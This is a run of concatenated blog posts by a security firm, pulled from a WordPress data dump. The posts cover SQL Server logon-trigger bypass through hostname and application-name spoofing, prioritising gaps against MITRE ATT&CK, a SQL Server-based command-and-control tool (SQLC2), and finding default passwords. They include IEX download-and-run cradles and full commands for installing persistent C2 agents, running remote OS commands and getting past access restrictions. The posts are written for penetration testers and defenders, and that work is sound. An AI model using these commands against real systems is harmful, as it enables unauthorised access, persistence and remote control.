  2. Press connect to login. If you open a query window and check your application name again it should return "SuperApp3000". This helps further illustrate that we successfully spoofed the hostname.
    SELECT APP_NAME()
    Img B Bf A E

Spoofing Application Names using Connection Strings

As I mentioned in the last section, there is a connection string property named "AppName" that can be used by applications to declare their application name to the SQL Server. Below are a few example of accepted formats. Application Name =MyApp
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True;
ApplicationName =MyApp
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True;
AppName =MyApp
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True;
"

Spoofing Application Names using PowerUpSQL

To help illustrate the application name spoofing scenario, I've updated the Get-SQLQuery function of PowerUpSQL to include the "appname" option. I will be working toward retrofitting the other functions once I find some more time. Below is a basic example for now.
  1. Open Powershell and load PowerUpSQL via your preferred method. The example below shows how to load it from GitHub directly.
    IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
  2. PowerUpSQL functions wrap .NET SQL Server functions. When connecting to SQL Server programmatically with .NET, the "appname" property is set to ".Net SqlClient Data Provider" by default. However, since we created a new logon trigger that restricts access by "appname" we should get the following error.
    Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT app_name()" -ReturnError
    Img B E E C
  3. Now set the "appname" property to "SuperApp3000" and you should be able to execute the query successfully.
    Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT app_name()" -AppName SuperApp3000
    Img B E C
  4. To remove the trigger you can issue the command below.
    Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -AppName SuperApp3000 -Query 'DROP TRIGGER MyAppsOnly on all server'
  5. Now you can connect without having to spoof the application name.
    Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014  -Query 'SELECT APP_NAME()'
    Img B E E E
  6. Or you can just spoof any application name for the fun of it.
    Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -AppName EvilClient -Query 'SELECT APP_NAME()'
    Img B E

Finding White Listed Hostnames and Application Names

If you're not sure what hostnames and applications are in the logon trigger's white list, below are a few options for blindly discovering them.
  1. Review the Logon Trigger Source Code The best way to get a complete list of the hostnames and applications white listed by a logon trigger is to review the source code. However, in most cases this requires privileged access.
    SELECT    name,
    OBJECT_DEFINITION(OBJECT_ID) as trigger_definition,
    parent_class_desc,
    create_date,
    modify_date,
    is_ms_shipped,
    is_disabled
    FROM sys.server_triggers  
    ORDER BY name ASC
    Img B Ef A A
  2. Review Application Code for Hardcoded Values Sometimes the allowed hostnames and applications are hardcoded into the application. If you are dealing with a .NET or Java application, you can decompile and review the source code for keywords related to the connection string they are using. This approach assumes that you have access to application assemblies or configuration files. JD-GUI and DNSPY can come in handy.
  3. Review Application Traffic Sometimes the allowed hostnames and applications are grabbed from the database server when the application starts. As a result, you can use your favorite sniffer to grab the list. I've experienced this a few times. You may ask, why would anyone do this? The world may never know.
  4. Use a List of Domain Systems If you already have a domain account, you can query Active Directory for a list of domain computers. You can then iterate through the list until you come across one that allows connections. This assumes that the current domain user has the privileges to login to SQL Server and the white listed hostnames are associated with the domain.
  5. Use MITM to Inventory Connections You can also perform a standard ARP based man-in-the-middle (MITM) attack to intercept connections to the SQL Server from remote systems. If the connection is encrypted (default since SQL Server 2014) you won't see the traffic, but you'll still be able to see which hosts are connecting. Naturally other MITM techniques could be used as well. Warning: If certificate validation is being done this could result in dropped packets and have an impact to a production system, so please use that approach with caution.

General Recommendations

  • Don't use logon triggers to restrict access to SQL Server based on information that can be easily changed by the client.
  • If you wish restrict access to an allowed list of systems, consider using network or host level firewall rules instead of logon triggers.
  • Consider limiting access to the SQL Server based on user groups and assigned permissions instead of using logon triggers.

Wrap Up

In this blog I covered a few ways to leverage lesser known connection string properties to bypass access restrictions being enforced by SQL Server logon triggers. Hopefully this will be useful if you have to perform a penetration test of a legacy desktop application down the line. If nothing else, hopefully the blog highlighted a few things to avoid when building two-tiered desktop applications. For those who are interested, I've also updated the "SQL Server Connection String Cheatsheet" here.

References

[post_title] => Bypassing SQL Server Logon Trigger Restrictions [post_excerpt] => This shows how to bypass SQL Server logon trigger restrictions by spoofing hostnames and application names using lesser known connection string properties. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => bypass-sql-logon-triggers [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:54:23 [post_modified_gmt] => 2021-06-08 21:54:23 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=9216 [menu_order] => 218 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [15] => WP_Post Object ( [ID] => 9101 [post_author] => 17 [post_date] => 2018-06-12 07:00:16 [post_date_gmt] => 2018-06-12 07:00:16 [post_content] => As Adversarial Simulation continues to gain momentum, more companies are performing full evaluations of their technical detective control capabilities using tools like the Mitre ATT&CK Framework.  While this is a great way for internal security teams to start developing a detective control baseline, even mature organizations find themselves with dozens of detective capability gaps to follow up on.  So, the natural question we hear from clients is “What is the best way to prioritize and streamline our remediation efforts?”.   In this blog I’ll provide a few tips based on my experiences. Before I go down that road, I wanted to take a moment to touch on how I’m qualifying adversarial simulation in this context.  Feel free to SKIP AHEAD to the actual tips.

Adversarial Simulation

To better answer the questions, “What are attackers doing?” and “What should we be looking for?”, internal security teams started to document what techniques were being used by malware, red teams, and penetration testers at each phase of the Cyber Kill Chain.  This inventory of techniques could then be used to baseline detection capabilities.  As time went on, projects like the Mitre ATT&CK Framework started to gain more favor with both the red and the blue teams. Out of this shared adoption of an established and public framework, Adversarial Simulation began to grow in popularity.  Similar to the term “red team”, “Adversarial Simulation” can mean different things to different people. In this context, I’m defining it as “Measuring the effectiveness of existing technical detective controls using a predefined collection of security unit tests”. The goal of this type of testing is to measure the company's ability to identify known Tools Techniques and Procedures (TTPs) related to the behavior of attackers that have already obtained access to the environment in an effort to build/maintain a detective control baseline. After conducting multiple Adversarial Simulation exercises with small, medium, and large organizations, one thing became very apparent.  If your company hasn’t performed adversarial simulation testing before, then you’re likely to have a quite a few gaps at each phase of the cyber kill chain. At first this can seem overwhelming, but it is something that you can triage, prioritize, and manage. The rest of this blog covers some triage options for those companies going through that now.

Using MITRE ATT&CK as a Measuring Stick

The MITRE ATT&CK framework defines categories and techniques that focus on post-exploitation behavior.  Since the goal is to detect that type of behavior it offers a nice starting point. Img B Ad B

Source: https://attack.mitre.org/

While this is a good place to start measuring your detective and preventative controls, it’s just a starting point.  ATT&CK doesn’t cover a lot of technologies commonly found in enterprise environments, and not all the techniques covered will be applicable to your environment. Many of the internal security teams we work with have started adopting the ATT&CK framework to some degree. The most common process we see them using has been outlined below:
  • Start with the entire framework
  • Remove techniques that are not applicable to your environment
  • Add techniques that are specific to technologies in your environment
  • Add techniques that are not covered, but are well known
  • Work through one category at a time
  • Test one technique at a time
  • Assess the SOC team’s ability to detect the technique
  • Identify artifacts, identify data sources used for TTP discovery, and create SIEM rules
  • Document technique coverage
  • Rinse, lather, and repeat.
While there are some commercial products and services available to support this process we have also seen some great open source projects.  The Threat Hunter Playbook created by Roberto Rodriguez is at the top of my recommended reading list.  It includes lots of useful tools to help internal teams get rolling.  You can find it on github: https://github.com/Cyb3rWard0g/ThreatHunter-Playbook When we work with clients, we typically measure the applicable techniques in all phases to provide insight into their ability to detect them within each of the post-exploitation attack phases defined in the ATT&CK framework.   However, sometimes that can be information overload so starting with a few key categories of techniques can be a nice way to kick things off.   Clients usually prefer to prioritize around execution, defense evasion, and exfiltration, because they essentially represent the beginning and end of a basic attack workflow.  Also, when evaluating exfiltration techniques, you implicitly cover some the more common controls channels. Below is a sample of the summary data that can shake loose when looking at the whole picture. Img B B F D F At first glance this can seem alarming, but the sky is not falling.  Keep in mind that the technologies and processes to identify the TTPs for post exploitation are still trying to catch up to attackers.  The first step to getting better is being honest about what you can and can’t do. That way you’ll have the information you need to create a prioritized roadmap that can give you more coverage in a shorter period of time for less money (hopefully).

Remediation Prioritization Tips

The goal of these tips is to reduce the time/dollar investment required to improve the effectiveness of the current controls and your overall ability to detect known and potential TTPs. To start us off I wanted to note that you can’t alert on the information you don’t have.  As a result, missing data sources often map directly to missing alerts in specific categories.

Prioritizing Data Sources

As I mentioned before, data sources are what fuel your detective capabilities.  When choosing to build out a new data source or detective capability, consider prioritizing around those that have the potential to cover the highest number of techniques across all ATT&CK framework categories. For example, netflow data can be used identify:
  • Generic scanning activity
  • Authenticated scanning
  • ICMP and DNS tunnels
  • Large file downloads and uploads
  • Long login sessions
  • Reverse shell patterns
  • Failed egress attempts
I’m sure there are more use cases, but you get the idea. Naturally, you should inventory and track your known data sources and be conscious of what your data source gaps are.   One way to help make sure that gap list is fleshed out is to identify potential data sources based on what techniques don’t generate any alerts. Below is a basic pie chart showing how that type of data can be represented.  It summarizes the level of visibility for techniques that did not generate a security alert. The identified detection gaps fall into 1 of 5 detection levels.  Unknown, Undetected, Partially Logged, Logged, and Partially Detected. Img B B F A Existing Data Sources From this we can see that 60% of the techniques that didn’t generate an alert still left traces in logs. By pulling in that log data we can almost immediately start working on correlations and alerts for many of the associated attack techniques. That by itself should have some influence on what you start with when building out new detections. Missing Data Sources The other 40% represent missing or misconfigured data sources.  Using the list of associated techniques and information from Mitre we can determine potential data sources, and which ones would provide coverage for the largest number of techniques.  If you’re not sure what data sources are associated with which techniques, you can find it on Mitre website.  Below is an example that illustrates some of the information available for the Accessibility Features in Windows. Img B B C Cd

Source: https://attack.mitre.org/wiki/Technique/T1015

To streamline your lookups, consider using invoke-ATTACKAPI, by Roberto Rodriguez.  It can be downloaded from https://github.com/Cyb3rWard0g/Invoke-ATTACKAPI.  Below is a sample PowerShell script the uses Invoke-ATTACKAPI to get a list of the data sources that can be used to identify multiple attack techniques.  To increase its usefulness, you could easily modify it to only include the attack techniques that you know your blind to. Note: All of your data sources may not be covered by the framework, or they may use different language to describe them.
# Load script from github and sync
iex(New-Object net.webclient).DownloadString("https://raw.githubusercontent.com/Cyb3rWard0g/Invoke-ATTACKAPI/master/Invoke-ATTACKAPI.ps1")

# Group data sources
$AllTechniques = Invoke-ATTACKAPI -All
$AllTechniques | Where-Object platform -like "Windows" | Select "Data Source",TechniqueName -Unique |
ForEach-Object {

$TechniqueName = $_.TechniqueName
$_."Data Source" | ForEach-Object {

$Object = New-Object PSObject
$Object | add-member Noteproperty TechniqueName $Technique
$Object | add-member Noteproperty DataSource $_
$Object
}

} | Select TechniqueName,DataSource | Group-Object DataSource | Sort-Object count -Descending
Img B Ae A F From the command results, you can quickly see that “Process Monitoring” and a few others can be incredibility powerful data sources for detecting the techniques in the Mitre ATT&CK Framework.

Prioritizing Techniques by Tactic

Command execution and defense evasion techniques occur at the beginning, and throughout the kill chain.  As such, having deeper visibility into these techniques can help mitigate risk associated with some of the visibility gaps in later attack phases; such as persistence, lateral movement, and credentials gathering by detecting potentially malicious behavior sooner. Below I reorganized the ATT&CK categories from our previous example test results to illustrate the point.

Img B Ad E C

Command Execution Attackers often employ non-standard command execution techniques that leverage native applications to avoid application white list controls.  Many of those techniques are not commonly used by legitimate users, so the commands themselves can be used as reliable indicators of malicious behavior. For example, most users don’t use regsvr32.exe, regsvcs.exe, or msbuild.exe at all.  When they are used legitimately, it’s rare that they use the same command options as attackers.  For some practical examples check out the atomic-red-team repo on github: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/windows-index.md Defense Evasion Similar to command execution, attackers often employ defense evasion techniques that do not represent common user behavior.  As a result, they can be used as reliable indicators of malicious behavior. Lateral Movement Not every attacker performs scanning, but a lot of them do. If you can accurately identify generic scanning and authenticated scanning behavior through netflow data and Windows authentication logs you have a pretty good chance of detecting them.  If you have the data sources, but alerts aren’t configured, it’s worth the effort to close the gap.  Sean Metcalf shared a presentation that covers some information on the topic (among other things) that can be found here. Ideally it will help you identify potentially malicious movement before the attackers reach their target and start exfiltration. Exfiltration If you missed the attacker executing commands on the endpoints, looking for common malicious behaviors and anomalies in outbound traffic and internet facing systems can yield some valuable results (assuming you have the right data sources). Most people are familiar with the common controls channels, but for those who are not, below is a short list:
  • ICMP, SMTP, SSH, and DNS tunnels
  • TCP/UDP reverse shells (over various ports/protocols)
  • TCP/UDP beacons (over various ports/protocols)
  • Web shells

Prioritizing Techniques by Utility

Developing detections for techniques that are used in multiple attack phases can give you a better return on your time/dollar investments.  For example, scheduled tasks can be used for execution, persistence, privilege escalation, and lateral movement. So, when you have the ability to identify high risk tasks that are being created, you can kill three birds with one stone. (Note: No birds were actually killed in the making of this blog.) Below is a sample PowerShell script the uses Invoke-ATTACKAPI to get a list of the techniques used in multiple attack categories.  To increase its usefulness, you could easily modify it to only include the attack techniques that your blind to.
# Load script from github and sync
iex(New-Object net.webclient).DownloadString("https://raw.githubusercontent.com/Cyb3rWard0g/Invoke-ATTACKAPI/master/Invoke-ATTACKAPI.ps1")

# Grab and group the techniques
$AllTechniques = Invoke-ATTACKAPI -All
$AllTechniques | Where-Object platform -like "Windows" | Select Tactic,TechniqueName -Unique |
ForEach-Object {

$Technique = $_.TechniqueName
$_.tactic | ForEach-Object {

$Object = New-Object PSObject
$Object | add-member Noteproperty TechniqueName $Technique
$Object | add-member Noteproperty Tactic $_
$Object
}
} | Select TechniqueName,Tactic | Group-Object TechniqueName | Sort-Object count -Descending | select Count, Name -Skip 1
Img B Ae Da Once again you can see that some of the techniques can be used in more phases than others.

Prioritizing Techniques by (APT) Group

The ATT&CK framework also includes information related to well-known APT groups and campaigns at https://attack.mitre.org/wiki/Groups.   The groups are linked to techniques that were used during campaigns.  As a result, we can see what techniques are used by the largest number of (APT) groups using the Invoke-ATTACKAPI Powershell script below.
#Load script from github and sync
iex(New-Object net.webclient).DownloadString("https://raw.githubusercontent.com/Cyb3rWard0g/Invoke-ATTACKAPI/master/Invoke-ATTACKAPI.ps1

#Techniques used by largest number of APT groups
$AllTechniques = Invoke-ATTACKAPI -All
$AllTechniques | Where-Object platform -like "Windows" | Select Group,TechniqueName -Unique | 
Where group -notlike "" | Group-Object TechniqueName | Sort-Object count -Descending
Img B F A Bb To make it more useful, filter for group names that are more relevant to your industry.  At the moment I don't think the industries or countries targeted by the groups are available as meta data in the ATT&CK framework.  So for now that part may be a manual process.  Either way, big thanks to Jimi for the tip!

Prioritizing Based on Internal Policies and Requirements

Understanding your company’s priorities and policies should always influence your choices. However, if you are going to follow those policies, make sure that the language is well defined and understood. For example, if you have an internal policy that states you must be able to detect all known threats, then “known threats” needs to be defined and expectations should be set as to how the list of known threats will be maintained. Like vulnerability severity ranking, you should also create a system for ranking detective control gaps.  That system should also define how quickly the company will be required to develop a detective capability either through existing controls, new controls, or process improvements.

Bridging the Gap with Regular Hunting Exercises

Regardless of how you prioritize the development of your detective capabilities, things take time.  Collecting new data sources, improving logging, improving SIEM data ingestion/rules for all of your gaps is rarely a quick process. While you're building out that automation consider keeping an eye on known gaps via regular hunting exercises. We've seen a number of clients leverage well defined hunts to yield pretty solid results.  There was a nice presentation by Jared Atkinson and a recent paper by Paul Ewing/Devon Kerr from Endgame that are worth checking out if you need a jump start.

Wrap Up

Just like preventative controls, there is no such thing as 100% threat detection. Tools, techniques, and procedures are constantly changing and evolving.  Do the best you can with what you have.  You’ll have to make choices based on perceived risks and the ROI of your security control investments in the context of your company, but hopefully this blog with help make some of the choices easier.  At the end of the day, all of my recommendations and observations are limited to my experiences and the companies I’ve worked with in the past.  So please understand that while I’ve worked with quite a few security teams, I still suffer from biases like everyone else.  If you have other thoughts or recommendations, I would love to hear them.  Feel free to reach out in the comments. Thanks and good luck!

References

[post_title] => Prioritizing the Remediation of Mitre ATT&CK Framework Gaps [post_excerpt] => In this blog I’ll share a few tips for prioritizing the remediation of detective control gaps related to the Mitre ATT&CK Framework. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => prioritizing-the-remediation-of-mitre-attck-framework-gaps [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:54:07 [post_modified_gmt] => 2021-06-08 21:54:07 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=9101 [menu_order] => 220 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [16] => WP_Post Object ( [ID] => 8944 [post_author] => 17 [post_date] => 2018-05-25 07:00:51 [post_date_gmt] => 2018-05-25 07:00:51 [post_content] => There is no shortage of dependable control channels or RATs these days, but I thought it would be a fun side project to develop one that uses SQL Server. In this blog, I’ll provide an overview of how to create and maintain access to an environment using SQL Server as the controller and the agent using a new PoC script called SQLC2. It should be interesting to the adversarial simulation, penetration testing, red, purple, blue, and orange? teams out there looking for something random to play with.  Did I miss any marketing terms?

Why SQL Server?

Well, the honest answer is I just spend a lot of time with SQL Server and it sounded fun.  However, there are practical reasons too.  More companies are starting to use Azure SQL Server databases. When those Azure SQL Server instances are created, they are made accessible via a subdomain of “*.database.windows.net” on port 1433. For example, I could create an SQL Server instance named “mysupersqlserver.database.windows.net”. As a result, some corporate network configurations allow outbound internet access to any “*.database.windows.net” domain on port 1433. So, the general idea is that as Azure SQL Server adoption grows, there will be more opportunity to use SQL Server as a control channel that looks kind of like normal traffic .

SQLC2 Overview

SQLC2 is a PowerShell script for deploying and managing a command and control system that uses SQL Server as both the control server and the agent. Basic functionality includes:
  • Configuring any SQL Server to be a controller
  • Installing/Uninstalling PowerShell and SQL Server based SQLC2 agents on Windows systems
  • Submitting OS commands remotely
  • Recovering OS command results remotely
SQLC2 can be downloaded from https://github.com/NetSPI/SQLC2/. At its core, SQLC2 is just a few tables in an SQL Server instance that tracks agents, commands, and results. Nothing too fancy, but it may prove to be useful on some engagements.  Although this blog focuses on using an Azure SQL Server instance, you could host your own SQL Server in any cloud environment and have it listen on port 443 with SSL enabled. So, it could offer a little more flexibility depending on how much effort you want to put into it. Naturally, SQLC2 was built for penetration test and red team engagements but be aware that for this release I didn’t make a whole lot of effort to avoid blue team detection. If that’s your goal, I recommend using the “Install-SQLC2AgentLink” agent installer instead of “Install-SQLC2AgentPs”. The link agent operates almost entirely at the SQL Server layer and doesn’t use any PowerShell so it's able to stay under the radar more than the other supported persistence methods. Below is a diagram illustrating the SQLC2 architecture.

Img B B

For those who are interested, below I’ve provided an overview of the Azure setup, and a walkthrough of the basic SQLC2 workflow. Enjoy!

Setting Up an SQL Server in Azure

I was going to provide an overview of how to setup an Azure database but  Microsoft has already written a nice article on the subject. You can find it at https://docs.microsoft.com/en-us/azure/sql-database/sql-database-get-started-portal.

SQLC2: Installing C2 Server Tables

The SQLC2 controller can be installed on any SQL Server by creating two tables within the provided database.  That database will then be used in future commands to check-in agents, download commands, and upload command results. Below is the command to setup the SQLC2 tables in a target SQL instance.
Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'
Sqlc Install Sqlc Server You can use the SQLC2 command below to check which agents have phoned home. However,  there wont be any agents registered directly after the server installation.
Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'
Sqlc Checkforregisteredagents Once agents and commands have been processed the actual C2 tables will simply store the data.  You can also connect directly to your Azure SQL Server with SQL Server Management Studio to view the results as well.  Below is an example screenshot.

Img B Faddd B

SQLC2: Installing C2 Agents

SQLC2 supports three methods for installing and running agents for downloading and executing commands from the C2 server.
  1. Direct Execution: Executing directly via the Get-SQLC2Command
  2. Windows Schedule Task: Installing an SQLC2 PowerShell agent to run via a scheduled task that runs every minute.
  3. SQL Server Agent Job: Installing an SQLC2 SQL Server agent job that communicates to the C2 server via a server link.

Option 1:  Direct Execution

You can list pending commands for the agent with the command below.   All Get-SQLC2Command execution will automatically register the agent with the C2 server.
Get-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'
Sqlc Registersystem Checkforcommands Adding the -Execute flag with run pending commands.
Get-SQLC2Command -Verbose -Execute -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'
Sqlc Registersystem Checkforcommandsandrunthem The examples above show how to run SQLC2 commands manually. However, you could have any persistence method load SQLC2 and run these commands to maintain access to the environment.

Option 2:  Windows Scheduled Task

Installing an SQLC2 PowerShell agent to run via a scheduled task that runs every minute. Note: Using the -Type parameter options you can also install persistence via "run" or "image file execution options" registry keys.
Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'
Sqlc Persistpsinstall It can be uninstalled with the command below:
Uninstall-SQLC2AgentPs -Verbose
Sqlc Persistpsuninstall

Option 3:  SQL Server Agent Job

Installing an SQLC2 SQL Server agent job that communicates to the C2 server via a server link.
Install-SQLC2AgentLink -Verbose -Instance 'MSSQLSRV04SQLSERVER2014' -C2Instance sqlserverc21.database.windows.net -C2Database test1 -C2Username CloudAdmin -C2Password 'BestPasswordEver!'
Sqlc Installlinkpersist For those who are interested, I've also provided a TSQL version of the SQL Server agent installer you can find at https://github.com/NetSPI/SQLC2/blob/master/tsql/Install-SQLC2AgentLink.sql. It can be uninstalled with the command below.
Uninstall-SQLC2AgentLink -Verbose -Instance 'MSSQLSRV04SQLSERVER2014'
Sqlc Installlinkpersistremove

SQLC2: Issuing OS Commands

To send a command to a specific agent, you can use the command below. Please note that in this release the agent names are either the computer name or sql server instance name the agent was installed on.  Below are a few command examples showing a registered agent and issuing a command to it.
Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'
Sqlc Agentischeckin
Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04
Sqlc Set Command For Agent

SQLC2: Get Command Results

Below is the command for actually viewing the command results. It supports filters for servername, command status, and command id.
Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'
Sqlc Getcommandresults

SQLC2: Uninstalling C2 Tables

Below are some additional commands for cleaning up when you done.  They include commands to clear the command history table, clear the agent table, and remove the C2 tables all together.
Clear command history:
Remove-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'
Clear agent list:
Remove-SQLC2Agent -Username c2admin -Password 'SqlServerPasswordYes!' -Instance sqlserverc21.database.windows.net -Database test1 -Verbose
Remove SQLC2 tables:
Uninstall-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Blue Team Notes

  • The PowerShell commands and agents should show up in your PowerShell logs which can be a useful data source.
  • The persistence methods for tasks, registry run keys, and "image file execution options" registry keys can all be audited, and alerts can be configured. The commands used to create the persistence also tend to generate Windows event logs can all be useful and most Endpoint Detection and Response solutions can identify the commands at execution time.
  • If possible, deploy audit configurations to internal SQL Servers to help detect rogue agent jobs, ad-hoc queries, and server links. I have some old examples of logging options here. If configured correctly they can feed alert directly into the Windows event log.
  • Although it’s harder than it sounds, try to understand what’s normal for your environment. If you can restrict access to “*.database.windows.net” to only those who need it, then it can be an opportunity to both block outbound access and detect failed attempts.  Network and DNS logs can come in handy for that.

Wrap Up

SQLC2 is a pretty basic proof of concept, but I think it’s functional enough to illustrate the idea.  Eventually, I'll likely role it into PowerUpSQL for the sake of keeping the offensive SQL Server code together. At that point, maybe I'll also role in a few CLR functions to step it up a bit.  In the meantime, for those of you looking to explore more offensive cloudscape options, check out Karl Fosaaen’s blog on other Azure services that can be useful during red team engagements. It's pretty interesting. [post_title] => Databases and Clouds: SQL Server as a C2 [post_excerpt] => This blog will provide an overview of how to create and maintain access to an environment using SQL Server as the controller and the agent using a new PoC script called SQLC2. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => databases-and-clouds-sql-server-as-a-c2 [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:53:45 [post_modified_gmt] => 2021-06-08 21:53:45 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=8944 [menu_order] => 222 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [17] => WP_Post Object ( [ID] => 8743 [post_author] => 17 [post_date] => 2018-05-08 07:00:43 [post_date_gmt] => 2018-05-08 07:00:43 [post_content] => This blog walks through how to quickly identify SQL Server instances used by 3rd party applications that are configured with default users/passwords using PowerUpSQL.  I’ve presented on this topic a few times, but I thought it was worth a short blog to help address common questions.  Hopefully it will be useful to penetration testers and internal security teams trying to clean up their environments. Update September 13 , 2018 This is just a quick additional to the original blog.  I added a 15 more default passwords to the Get-SQLServerLoginDefaultPw function.  Details can be found here.

Testing Approach Summary

Default passwords are still one of the biggest issues we see during internal network penetration tests. Web applications are especially neglected, but 3rd party applications that are deployed with their own instance of SQL Server can also go over looked.  Rob Fuller created a nice list of default SQL Server instance passwords in PWNWiki a while back. We were tracking our own list as well, so I glued them together and wrapped a little PowerShell around them to automate the testing process. The high-level process is pretty straight forward:
  1. Create a list of application specific SQL Server instance names and the associated default users/passwords.
  2. Identify SQL Instances through LDAP queries, scanning activities, or other means.
  3. Cross reference the list of default instance names with the discovered instance names.
  4. Attempt to log into SQL Server instances that match using the associated default credentials. 😊 Tada!

Loading PowerUpSQL

PowerUpSQL can be loaded a quite a few different ways in PowerShell. Below is a basic example showing how to download and import the module from GitHub.
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
For more standard options visit https://github.com/NetSPI/PowerUpSQL/wiki/Setting-Up-PowerUpSQL. Also, for more download cradle options check out Matthew Green’s blog at https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html.

Command Example: Targeting with Broadcast Ping

After you’ve loaded PowerUpSQL, you can run the command below to discover SQL Server Instances on your current broadcast domain.
Get-SQLInstanceBroadcast -Verbose
As you can see, the command provides you with a list of SQL Server instances on your local network. To identify which of the SQL Instances are configured with default passwords you can pipe “Get-SQLInstanceBroadcast” to  “Get-SQLServerLoginDefaultPw” as shown below.
Get-SQLInstanceBroadcast -Verbose | Get-SQLServerLoginDefaultPw -Verbose

Command Example: Targeting with LDAP Query

If you have domain credentials, or are already running on a domain system, you can also query Active Directory via LDAP for a list of registered SQL Servers with the command below. This can also be executed from a non-domain system using syntax from the PowerUpSQL Discovery Cheatsheet.
Get-SQLInstanceDomain -Verbose
Like the last example, you can simply pipe “Get-SQLInstanceDomain”  into “Get-SQLServerLoginDefaultPw” to identify SQL Server instances registered on the domain that are configured with default passwords.
Get-SQLInstanceDomain -Verbose | Get-SQLServerLoginDefaultPw -Verbose
The full list of SQL Server instance discovery functions supported by PowerUpSQL have been listed below.
Function Name Description
Get-SQLInstanceFile Returns SQL Server instances from a file. One per line.
Get-SQLInstanceLocal Returns SQL Server instances from the local system based on a registry search.
Get-SQLInstanceDomain Returns a list of SQL Server instances discovered by querying a domain controller for systems with registered MSSQL service principal names. The function will default to the current user's domain and logon server, but an alternative domain controller can be provided. UDP scanning of management servers is optional.
Get-SQLInstanceScanUDP Returns SQL Server instances from UDP scan results.
Get-SQLInstanceScanUDPThreaded Returns SQL Server instances from UDP scan results and supports threading.
Get-SQLInstanceBroadcast Returns SQL Server instances on the local network by sending a UDP request to the broadcast address of the subnet and parsing responses.
I also wanted to note that there is a DBATools function called "Find-DbaInstance" that can be used for blind SQL Server instance discovery . It actually supports a few more discovery options than PowerUpSQL. Chrissy LeMaire already wrote a nice overview that can be found at https://dbatools.io/find-sql-instances/.

What does Get-SQLServerLoginDefaultPw look for?

Currently the “Get-SQLServerLoginDefaultPw” functions cover 41 application specific default SQL Server instances, users and passwords. I intentionally didn’t include instances named SQL Express or MSSQLSERVER, because I wanted to avoid account lockouts. The only time a login is attempted is when there is an instance match that is unique to the application deployment. For those who are curious, the current list of application specific instances has been provided below.
ACS CODEPAL MYMOVIES RTCLOCAL vocollect
ACT7 CODEPAL08 ECC SALESLOGIX VSDOTNET
AOM2 CounterPoint ECOPYDB SIDEXIS_SQL
ARIS CSSQL05 ECOPYDB SQL2K5
AutodeskVault CADSQL Emerson2012 STANDARDDEV2014
BOSCHSQL DHLEASYSHIP HDPS PCAMERICA
BPASERVER9 DPM HPDSS PRISM
CDRDICOM DVTEL INSERTGT TEW_SQLEXPRESS
VSQL EASYSHIP INTRAVET RMSQLDATA
If you see an instance name I'm missing let me know.  I'm more than happy to update the function. :)

Wrap Up

In conclusion, make sure to take a close look at the third party applications you deploy in your environment.  Hopefully this blog/tool will help security teams clean up default passwords associated with default SQL Sever instances.  Good luck and hack responsibly! [post_title] => Attacking Application Specific SQL Server Instances [post_excerpt] => This blog walks through how to quickly identify SQL Server instances used by 3rd party applications that are configured with default passwords using PowerUpSQL. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => attacking-application-specific-sql-server-instances [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:53:24 [post_modified_gmt] => 2021-06-08 21:53:24 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=8743 [menu_order] => 224 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [18] => WP_Post Object ( [ID] => 7812 [post_author] => 17 [post_date] => 2017-07-13 07:00:13 [post_date_gmt] => 2017-07-13 07:00:13 [post_content] => In this blog, I’ll be expanding on the CLR assembly attacks developed by Lee Christensen and covered in Nathan Kirk’s CLR blog series. I’ll review how to create, import, export, and modify CLR assemblies in SQL Server with the goal of privilege escalation, OS command execution, and persistence.  